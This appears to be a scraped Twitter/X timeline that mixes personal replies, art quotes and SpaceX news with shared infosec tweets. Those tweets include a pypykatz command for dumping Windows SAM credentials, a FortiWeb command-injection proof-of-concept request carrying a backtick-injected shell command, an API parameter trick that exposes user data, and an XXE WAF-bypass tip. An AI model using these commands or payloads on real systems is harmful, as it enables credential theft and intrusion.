David Cardona

Ingeniero. No music, no life.

[Ben Zhang @un1c0rnioz]

Lost my phone at the office and spent 30 minutes turning the place over. Find My was disabled by MDM.

Out of ideas, I asked Claude how I could find it. It suggested tracking the Bluetooth signal strength, then wrote me a meter in about a minute.

I walked around watching the number climb. Found it.

Apparently you can just make the tool you need now.

Code: https://t.co/fmnISzHfZ2

[David Cardona @davcardona]

@Silverwolfogg @reg_mati 10 usd

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

HExHTTP - Header Exploitation HTTP

HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors.

https://t.co/d9KR9dukJi

[mpgn @mpgn_x64]

Dumping SAM from a live Kali Linux in 2022 🔽

1⃣ cd Windows/System32/config
2⃣ pypykatz registry --sam SAM SYSTEM

Tools like chntpw, bkhive, pwdump, samdump2 are not working on latest Windows 10 👀

https://t.co/LyHlBnvcCX

[Somdev Sangwan @s0md3v]

🚨 ALERT 🚨

Python's ctx library and a fork of PHP's phpass have been compromised. 3 million users combined.

The malicious code sends all the environment variables to a heroku app, likely to mine AWS credentials.

[El Club del Arte 🎨📷📚🖼🕍🎼 @Arteymas_]

"Tal vez Dios me hizo pintor para personas que aún no han nacido".

- Vincent Van Gogh

[newfolder @newfolderj]

Able to access Million+ emails $:

API Implementation:

/organization/:id => only org name shown

/organization/:id/users => 403 typical response

/organization/:id/users?get=newfolder => 403 with response & error msg (auth)

/organization/:id/users?get=users::metadata => BOOM

[ميمز سكيورتي 🛡️ @m3m353c]

مافي وقت..

[David Cardona @davcardona]

@CarlaZuluagaA Que cuando vuelva de la vuelta tenga mucho nuevo amor (trabajo) encima de la mesa.

[RIVER @wugeej]

Fortinet FortiWeb OS Command Injection [‼️0-day]

[PoC]
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
...
...
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`

https://t.co/lWmj6JA5BR

[José Tovar 🧵🧶 @jtovarr]

El Lago Groom mide 1300 metros y se extiende aproximadamente unos 6 kilómetros desde el Norte hasta el Sur, y unos 5 kilómetros de Este a Oeste en su parte más amplia.

[Wally. @MeDicenWally]

Y yo que pensaba que la Azcárate jamás me iba a hacer reír.

[David Cardona @davcardona]

@GiraldoR_Angela

[PT SWARM @ptswarm]

New XML technique! Encode any DTD/XML inside an internal entity, and fly under WAF radars!

💥 XXE WAF Bypass
💥 Works when there is no XXE, but there is a vuln in the XML body, e.g. SQL Injection

#ptswarmTechniques

[David Cardona @davcardona]

@GiraldoR_Angela Yo no creo tanta belleza, seguramente pasará algo y seguirá lo mismo todo...

[Esteban @lesteban_dev]

😱
https://t.co/zJeHxCnHti

[SpaceX @SpaceX]

Falcon 9 booster has landed on the Of Course I Still Love You droneship!

[Alejandro Marin @themusicpimp]

Hasta el final, por favor https://t.co/qbr2wN8zxL